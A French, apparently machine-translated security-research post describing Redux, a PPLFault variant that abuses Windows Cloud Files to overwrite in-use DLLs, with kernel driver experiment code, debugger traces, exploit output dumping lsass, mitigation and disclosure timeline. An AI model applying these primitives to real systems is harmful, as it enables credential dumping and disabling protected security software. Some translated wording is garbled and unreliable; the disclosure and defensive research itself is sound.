&fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
bSuccessful = NT_SUCCESS(ntStatus);
bReportResults = TRUE;
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree complete. "
"IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
"file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hSection);
HandleDelete(hFile2);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
}
ExperimentThree génère les résultats suivants :
ExperimentThree complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. Status: 0x00000000
L'expérience 3 ci-dessus montre comment les pilotes du noyau peuvent modifier les DLL mappées par les clients SMB en utilisant le drapeau IO_IGNORE_SHARE_ACCESS_CHECK sur la version du serveur de ce fichier.
Relevez vos manches
Nous venons de montrer ce qui est possible, mais nous ne savons toujours pas ce que fait réellement Cloud Files. Approfondissons les résultats du moniteur de processus pour répondre aux questions soulevées précédemment.
Tout à l'heure, nous avons posé deux questions :
Violation de l'immutabilité
Nous voyons une opération d'écriture réussie dans un fichier alors qu'il est chargé en tant qu'image exécutable. Dans nos recherches antérieures sur le FFI, nous avons abordé la vérification deMmFlushImageSectiondans le système de fichiers, qui est conçue pour se prémunir contre ce type de situation. Comment a-t-il contourné ce contrôle ?Violation du modèle d'accès aux fichiers
Nous pouvons constater que PPLFault a écrasé le fichier avec succès. La documentation Microsoft pour WriteFile indique que le fichier aurait dû être ouvert avec un accès en écriture, ce qui signifieFILE_WRITE_DATAmais la sortie montre qu'il a été ouvert pour "Read Attributes, Write Attributes, Synchronize", ce qui correspond àFILE_READ_ATTRIBUTES,FILE_WRITE_ATTRIBUTES, etSYNCHRONIZE. SansFILE_WRITE_DATA, comment a-t-il écrasé ce fichier ?
Nous pouvons facilement expliquer le contournement de MmFlushImageSection. Cette vérification porte sur FILE_WRITE_DATA, qui n'a pas été utilisé ici. Le fichier n'a été ouvert que pour "Lire les attributs, Écrire les attributs, Synchroniser". Nous ne pouvons cependant pas expliquer la violation du modèle d'accès aux fichiers. Comment a-t-il écrasé un fichier non inscriptible ? Zoomons sur la pile d'appels de l'opération WriteFile pour tenter de le découvrir.
Dans la pile d'appels, nous pouvons voir la ligne 176 de PPLFault.cpp appelant cldapi.dll!CfExecute (lignes 24-25) depuis le mode utilisateur. Cela aboutit finalement à l'appel de cldflt.sys!HsmiRecallWriteFileNoLock FltWriteFileEx. FltWriteFileEx est en mesure d'écrire dans un fichier qui n'est pas ouvert en écriture. Branchons un débogueur de noyau et regardons de plus près.
En plaçant un point d'arrêt sur FltWriteFileEx et en réexécutant l'exploit, nous pouvons nous arrêter à l'appel de HsmiRecallWriteFileNoLock:
2: kd> bp fltmgr!FltWriteFileEx
2: kd> g
Breakpoint 0 hit
FLTMGR!FltWriteFileEx:
fffff800`425aad40 4055 push rbp
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb90e`faa968e8 fffff800`5c2878d3 FLTMGR!FltWriteFileEx
01 ffffb90e`faa968f0 fffff800`5c2b2ccc cldflt!HsmiRecallWriteFileNoLock+0x2df
02 ffffb90e`faa969f0 fffff800`5c2b25f8 cldflt!HsmRecallTransferData+0x25c
03 ffffb90e`faa96aa0 fffff800`5c2b35d7 cldflt!CldStreamTransferData+0x65c
04 ffffb90e`faa96bd0 fffff800`5c27196c cldflt!CldiSyncTransferOrAckDataByObject+0x4c7
05 ffffb90e`faa96cb0 fffff800`5c2bb568 cldflt!CldiSyncTransferOrAckData+0xdc
06 ffffb90e`faa96d10 fffff800`5c2bafe1 cldflt!CldiPortProcessTransferData+0x46c
07 ffffb90e`faa96db0 fffff800`5c27895a cldflt!CldiPortProcessTransfer+0x291
08 ffffb90e`faa96e50 fffff800`4259530a cldflt!CldiPortNotifyMessage+0xd9a
09 ffffb90e`faa96f70 fffff800`425cf299 FLTMGR!FltpFilterMessage+0xda
0a ffffb90e`faa96fd0 fffff800`42597e60 FLTMGR!FltpMsgDispatch+0x179
0b ffffb90e`faa97040 fffff800`3eaebef5 FLTMGR!FltpDispatch+0xe0
0c ffffb90e`faa970a0 fffff800`3ef40060 nt!IofCallDriver+0x55
0d ffffb90e`faa970e0 fffff800`3ef41a90 nt!IopSynchronousServiceTail+0x1d0
0e ffffb90e`faa97190 fffff800`3ef41376 nt!IopXxxControlFile+0x700
0f ffffb90e`faa97380 fffff800`3ec2bbe8 nt!NtDeviceIoControlFile+0x56
10 ffffb90e`faa973f0 00007ffe`b074f454 nt!KiSystemServiceCopyEnd+0x28
11 000000dc`e7bff448 00007ffe`99383ca2 ntdll!NtDeviceIoControlFile+0x14
12 000000dc`e7bff450 00007ffe`99383251 FLTLIB!FilterpDeviceIoControl+0x136
13 000000dc`e7bff4c0 00007ffe`94f3b12b FLTLIB!FilterSendMessage+0x31
14 000000dc`e7bff510 00007ffe`94f36059 cldapi!CfpExecuteTransferData+0x103
15 000000dc`e7bff690 00007ff7`ac9216e0 cldapi!CfExecute+0x349
16 000000dc`e7bff730 00000029`8969cee4 PPLFault!FetchDataCallback+0x4b0 [C:\git\PPLFault\PPLFault\PPLFault.cpp @ 176]
Voyons quel type d'accès a été accordé à l'identifiant (~= FILE_OBJECT) qui se trouve dans le deuxième paramètre de FltWriteFileEx. Sur x64, il s'agit de rdx.
0: kd> dt _FILE_OBJECT @rdx ReadAccess WriteAccess DeleteAccess SharedRead SharedWrite SharedDelete Flags
ntdll!_FILE_OBJECT
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x4000a
0: kd> !fileobj @rdx
Device Object: 0xffffa909953848f0 \Driver\volmgr
Vpb: 0xffffa90995352ee0
Event signalled
Access: SharedDelete
Flags: 0x4000a
Synchronous IO
No Intermediate Buffering
Handle Created
FsContext: 0xffffcf04ac4c6170 FsContext2: 0xffffcf04a7d1cad0
CurrentByteOffset: 0
Cache Data:
Section Object Pointers: ffffa90999f44378
Shared Cache Map: 00000000
File object extension is at ffffa9099a4c5f40:
Flags: 00000001
Ignore share access checks.
Nous pouvons voir que le fichier n'a pas été ouvert en écriture, et "Ignorer les contrôles d'accès au partage" ressemble beaucoup à IO_IGNORE_SHARE_ACCESS_CHECK. Vérifions les paramètres ByteOffset et Length, qui sont les troisième et quatrième paramètres de FltWriteFileEx, stockés respectivement dans r8 et r9.
0: kd> dx ((PLARGE_INTEGER)@r8)->QuadPart
((PLARGE_INTEGER)@r8)->QuadPart : 0 [Type: __int64]
0: kd> dx (int)@r9
(int)@r9 : 90112 [Type: int]
Une écriture de 90,112 octets à l'offset 0 - ce qui correspond à la sortie de ProcMon. Qu'en est-il de Flags, le 6e paramètre ?
0: kd> dx *(PULONG)(@rsp+(8*6))
*(PULONG)(@rsp+(8*6)) : 0xa [Type: unsigned long]
0xA est 0x2 | 0x8, qui est FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING. Cela correspond à "Paging I/O, Synchronous Paging I/O" que nous avons vu dans ProcMon.
Voyons si nous pouvons reproduire cela dans un pilote. Nous allons ouvrir une DLL mappée localement comme nous l'avons fait dans ExperimentTwo, mais au lieu de demander FILE_WRITE_DATA, nous allons nous en tenir aux mêmes permissions que CloudFiles : SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES. Cela ne déclenchera pas la vérification de MmFlushImageSection qui recherche FILE_WRITE_DATA, mais nous ajouterons quand même IO_IGNORE_SHARE_ACCESS_CHECK pour reproduire plus fidèlement le comportement de CloudFiles. Ensuite, nous utiliserons FltWriteFileEx pour effectuer une écriture synchrone sur la pagination dans le fichier non inscriptible FILE_OBJECT.
Par souci de concision, nous omettons certains codes d'aide. Tout le code d'exemple de cet article est disponible sur notre GitHub.
VOID ExperimentFour()
{
DECLARE_CONST_UNICODE_STRING(filePath,
L"\\SystemRoot\\System32\\TestDll.dll");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES fileObjAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
PVOID pMappedBase = NULL;
PFILE_OBJECT pFileObject = NULL;
PFLT_INSTANCE pInstance = NULL;
PFLT_VOLUME pVolume = NULL;
LARGE_INTEGER byteOffset{};
ULONG bytesWritten = 0;
ntStatus = MapFileAsImageSection(
&filePath, &hFile, &hSection, &pMappedBase);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
// Find our own minifilter instance for the volume containing this file
// We'll need it later
ntStatus = GetMyInstanceForFile(hFile, &pVolume, &pInstance);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour: GetMyInstanceForFile failed with NTSTATUS 0x%08x\n",
ntStatus);
goto Cleanup;
}
// Now that a view of the SEC_IMAGE mapping exists,
// close the file and section handles because that's what ntdll does
// https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
HandleDelete(hFile);
HandleDelete(hSection);
InitializeObjectAttributes(&fileObjAttr,
(PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Open the file without FILE_WRITE_DATA
// cldflt.sys!HsmiOpenFile uses this instead of IoCreateFileEx
ntStatus = FltCreateFileEx2(
gpFilter,
NULL,
&hFile2,
&pFileObject,
SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES,
&fileObjAttr, &iosb, NULL, 0,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT |
FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,
NULL, 0,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour: IoCreateFileEx failed with NTSTATUS 0x%08x\n",
ntStatus);
goto Cleanup;
}
// cldflt.sys is using FltWriteFileEx with synchronous paging I/O
ntStatus = FltWriteFileEx(
pInstance, pFileObject, &byteOffset,
sizeof(gZeroBuf), gZeroBuf,
FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING,
&bytesWritten, NULL, NULL, NULL, NULL);
// If FltWriteFileEx returns success without us passing FILE_WRITE_DATA,
// then we have succeeded
bSuccessful = NT_SUCCESS(ntStatus) && (sizeof(gZeroBuf) == bytesWritten);
bReportResults = TRUE;
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour complete. "
"FltWriteFileEx %s be used to write to a non-writable FILE_OBJECT "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hSection);
HandleDelete(hFile2);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
ReferenceDelete(pFileObject);
if (pInstance) FltObjectDereference(pInstance);
if (pVolume) FltObjectDereference(pVolume);
}
Cette expérience donne les résultats suivants :
ExperimentFour complete. FltWriteFileEx CAN be used to write to a non-writable FILE_OBJECT Status: 0x00000000
Cela prouve que FltWriteFileEx peut être utilisé pour enfreindre plusieurs règles. Il existe une différence essentielle entre PPLFault et cette expérience : L'expérience a réussi sans aucun redirecteur de réseau, ce qui prouve que CloudFiles seul peut modifier les exécutables en cours d'utilisation, qu'ils soient mappés localement ou via SMB. Plus abstraitement, il prouve que l 'exploitation de FFI via CloudFiles peut être possible sans redirecteurs de réseau.
Un nouvel exploit
Les mesures d'atténuation PPLFault de Microsoft ciblent spécifiquement les exécutables chargés par l'intermédiaire de redirecteurs de réseau. Pouvons-nous appliquer ce que nous avons découvert ici pour obtenir le même effet sans redirecteur de réseau ?
Lorsque CI demande à la DLL de vérifier la signature, PPLFault utilise CfExecute pour écrire (réhydrater) le placeholder à partir de son rappel de récupération de données. Une fois que le fichier original a été servi pour la vérification de la signature, il passe à la charge utile, en appelant CfExecute une deuxième fois au cours du même rappel pour écraser une partie du fichier avec une charge utile. En modifiant PPLFault pour que la victime charge la DLL localement plutôt que par SMB loopback, le deuxième appel à CfExecute échoue avec "The cloud operation was canceled by user" (l'opération dans le nuage a été annulée par l'utilisateur). Nous avions besoin d'une autre approche.
C:\Users\user\Desktop>PPLFault.exe 760 services.dmp
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[!] CfExecute #2 failed with HR 0x8007018e: The cloud operation was canceled by user.
[!] Did not find expected dump file: services.dmp
Après quelques travaux de rétro-ingénierie, nous avons appris que l'échec était dû à des vérifications au sein de CloudFilter lui-même, et non à ses interactions avec le gestionnaire d'E/S ou le système de fichiers. Nous avons découvert que le fait d'appeler CfDehydratePlaceholder puis appeler CfHydratePlaceholder à partir d'un autre thread (en dehors du callback de réhydratation) réinitialisait l'état de notre fichier dans le pilote CloudFilter, ce qui l'obligeait à invoquer à nouveau notre callback de réhydratation. Cela nous a permis d'écraser la DLL en cours d'utilisation avec notre charge utile et de réaliser une exécution de code arbitraire en tant que WinTcb-Light. Ce petit changement de code a ressuscité PPLFault, et nous avons donc nommé la variante Redux.
Nous avons également ressuscité GodFault, en tirant parti de notre accès PPL hautement privilégié pour compromettre la mémoire du noyau et contourner les protections de processus de Windows Defender, en mettant fin à un processus normalement impossible à arrêter.
Vous pouvez trouver nos PoCs pour Redux et GodFault-Redux sur GitHub.
La vidéo ci-dessous montre ce qui suit sur le serveur Windows 2022 entièrement mis à jour (février 2026 version 20348.4773).
- PPLFault ne parvient pas à se décharger
lsass - Redux a réussi à déverser
lsass - Un administrateur qui ne résilie pas le contrat
MsMpEng.exeparce qu'il s'agit d'une PPL - GodFault-Redux se termine avec succès
MsMpEng.exe
Atténuation
Dans notre rapport au CSEM, nous avons fourni un minifiltre de système de fichiers qui atténue Redux en bloquant les opérations IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION répondant à tous les critères suivants :
- Le demandeur est un PPL.
- Le site
PreviousModedu demandeur estUserMode. - La protection de la page est exécutable (par ex.
PAGE_EXECUTE_READ) ou que les attributs d'allocation contiennentSEC_IMAGE. - Le fichier possède une balise reparse du filtre nuage tel que
IO_REPARSE_TAG_CLOUD.
Les versions 8.14 et ultérieures d'Elastic Defend intègrent une mesure d'atténuation. Si votre flotte utilise l'un des systèmes d'exploitation concernés, vous pouvez définir les paramètres suivants dans Defend Advanced Policy pour l'activer.
windows.advanced.flags: e931849d52535955fcaa3847dd17947b
Grâce à ces mesures d'atténuation, l'exploit est bloqué :
C:\Users\user\Desktop>Redux 624 services.dmp
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[!] SpawnPPL: WaitForSingleObject returned 258. Expected WAIT_OBJECT_0. GLE: 2
[!] Did not find expected dump file: services.dmp
Simultanément, Windows affiche une fenêtre contextuelle avec le code d'état STATUS_ACCESS_DENIED (0xC0000022).
Vous pouvez trouver notre PoC pour l'atténuation sur GitHub.
Divulgation et remédiation
Le calendrier de divulgation est le suivant :
- 2024-02-14 Nous avons signalé Redux au CSEM.
- 2024-02-29 L'équipe de Windows Defender a été contactée pour coordonner la divulgation.
- 2024-10-01 Windows 11 24H2 a atteint l'AG avec l'atténuation.
Lorsque nous avons divulgué Redux au CSEM, il fonctionnait contre les versions entièrement corrigées de Windows 11, mais pas contre la version expérimentale Insider Canary 25936. En discutant du problème avec l'équipe de Windows Defender, nous avons appris que Philip Tsukerman, chercheur principal en sécurité chez Microsoft (désormais ancien), l'avait découvert en recherchant des variantes de PPLFault, et que le correctif était encore en phase de test avant publication.
Le tableau ci-dessous indique les versions de Windows affectées et corrigées à la date de publication.
| Système d'exploitation | Cycle de vie | Fixer l'état |
|---|---|---|
| Windows 11 24H2 | Soutien au courant dominant | ✔ Fixe |
| Windows 10 Enterprise LTSC 2021 | Soutien au courant dominant | ❌ Toujours fonctionnel en février 2026 (19044.6937) |
| Serveur Windows 2025 | Soutien au courant dominant | ✔ Fixe |
| Serveur Windows 2022 | Soutien au courant dominant | ❌ Toujours fonctionnel en février 2026 (20348.4773) |
| Windows Server 2019 | Support technique étendu | ❌ Toujours fonctionnel en février 2026 (17763.8389) |
Conclusion
En 2024, nous avons révélé une nouvelle classe de vulnérabilité Windows, False File Immutability (FFI), en la démontrant avec la publication de deux exploits distincts pour le noyau : PPLFault et ItsNotASecurityBoundary. Ces deux exploits s'appuient sur des redirecteurs de réseau pour exploiter des failles de conception dans l'intégrité du code de Windows. Dans le cadre de cette recherche, nous avons présenté et publié un autre exploit qui démontre comment exploiter FFI sans redirecteurs de réseau. Nous pensons qu'il s'agissait du troisième exploit de FFI lorsqu'il a été signalé en février 2024 ; il y en a eu au moins deux autres depuis.
Redux n'est pas la fin de la FFI ; il existe d'autres vulnérabilités FFI exploitables.
